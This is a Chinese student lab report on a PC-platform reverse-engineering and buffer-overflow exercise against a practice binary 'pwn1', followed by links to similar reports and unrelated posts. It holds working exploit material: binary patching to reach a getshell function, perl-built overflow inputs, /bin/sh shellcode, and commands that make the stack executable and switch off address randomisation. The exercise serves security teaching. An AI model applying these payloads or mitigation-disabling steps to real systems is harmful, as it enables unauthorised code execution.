PC平台逆向破解

实验内容

1.了解掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

  • JE:条件转移指令,如果相等则跳转。(机器码:74)

  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)

  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.直接修改程序机器指令,改变程序执行流程

objdump -d pwn1 | more //反汇编
vi pwn1 //打开可执行文件pwn1
%!xxd //把pwn1以16进制的形式打开
/e8d7 //查找e8d7的位置,把d7改为c3


  • 做完如上操作后
  • 正常情况下,e8d7为跳转的一个地址,执行foo,由于callq指令的原理就是拿此时的机器码减去下一条指令的机器码,得到跳转的位置,所以改d7为c3,使其跳转到shell_code。

3. 通过构造输入参数,造成BOF攻击,改变程序执行流

  • 尝试先输入1111111122222222333333334444444455555555,观察那些数值覆盖到了返回地址上。

  • 可以观察到%esp寄存器上的值为0x34343434,34是5的ascII码,确认四个字节5溢出,在用12345678作为代替8个5,发现esp上的值是1234,可以确认,缓冲区为32个字节。

  • 因此,我们只需要让溢出的四个字节为shell_code的地址即可,所以首先反汇编得到getshell的地址,然后在32个字节输入后用getshell的地址即刻,但是注意输入方式用的是perl。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

(cat input; cat) | ./pwn1

4. 注入Shellcode并执行

-Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode
nop+shellcode+retaddr。

  • 首先先写入shellcode

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 做一些准备工作

    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行
    X pwn1
    more /proc/sys/kernel/randomize_va_space
    2
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
    0

  • 再开另外一个终端,用gdb来调试pwn1这个进程:

发现0xff770a20最终地址,输入:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\x0a\x77\xff\x00"' >

或者:(以下截图为retaddr+nop+shellcode方式)

perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

5、实验感想与对漏洞的看法

  • 虽然第一次做pc平台的漏洞攻击——缓存区溢出攻击,而且该攻击方式对现代计算机用处不大,但是通过这次实验我感受到了这门课程的乐趣。

  • 漏洞:漏洞字面意义为为安全方面存在的缺陷,尽管我们不断的在补救安全方面的问题,但颇为无奈的是,补救方案往往是在攻击成功之后才制定出来的,绝对安全的防护系统在现今看来并不能实现,漏洞的导致的危害,在如今信息化的时代下,显得格外突出,这不免让我想起库布里克在拍摄未来三部曲时的担忧——人类在不能完全掌握科技的时候便将其应用于实际,当科技发展到最后时能否完全驾驭它?我们的安全防御策略会越来越高明,但漏洞导致的后果也会越来越严重,是否出现失控的一天,尚且未知。

20165213 Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. mysql安装密码策略插件

    https://blog.csdn.net/kk185800961/article/details/79447754 注意linux安装密码策略的插件 validate_password.so

  2. AES/CBC/PKCS7Padding加密方式

    在网上找了大半天资料,终于找到一个可以用的 public static class AES { // 算法名称 final static String KEY_ALGORITHM = "AE ...

  3. 关于Apache做负载均衡

    Tomcat+apache配置负载均衡系统笔记 在Apache   conf目录下的httpd.conf文件添加以下文字 #---------------------start------------ ...

  4. ARCGIS10.5安装教程(附完整安装包和汉化包)

    2017年7月,Esri公司发布了arcgis10.5.1版本,该版本的整体界面风格延续了10.0版本的界面风格,新功能介绍详见 http://www.3snews.net/column/252000 ...

  5. leetcode1034

    class Solution: def __init__(self): self.V = list() def bfs(self,grid,color,rows,coloums,r,c,ocolor) ...

  6. Unix shell范例精解 课后题

    1.read  #屏幕输入read name  #输入名字 2.echo #在终端打印出内容echo "What is your name ?"  # What is your n ...

  7. mac 环境搭建

    安装homebrew jdk 也可以官网下载 maven 官网下载tar.gz包 也在homebrew下安装git,java,mysql.

  8. 逻辑读为何消耗CPU?

    在数据库系统中,经常会看到这个说法:“逻辑读很消耗CPU”,然后开始把这句话当作一个定理来使用.但是为什么“同样是读,为什么逻辑读会使用那么多CPU?” 查了一些资料,配合自己的理解,有下面几点体会: ...

  9. ArcGIS 批量修改数据名称-arcgis案例实习教程

    ArcGIS 批量修改数据名称-arcgis案例实习教程 联系方式:谢老师,135-4855-4328,xiexiaokui#qq.com 功能:批量修改数据/文件名称 使用方法: 输入:文件夹(或者 ...

  10. Cmake实践(Cmake Practice)第一部分

    参考资料地址:https://github.com/Akagi201/learning-cmake/blob/master/docs/cmake-practice.pdf 一.初识cmake 1. C ...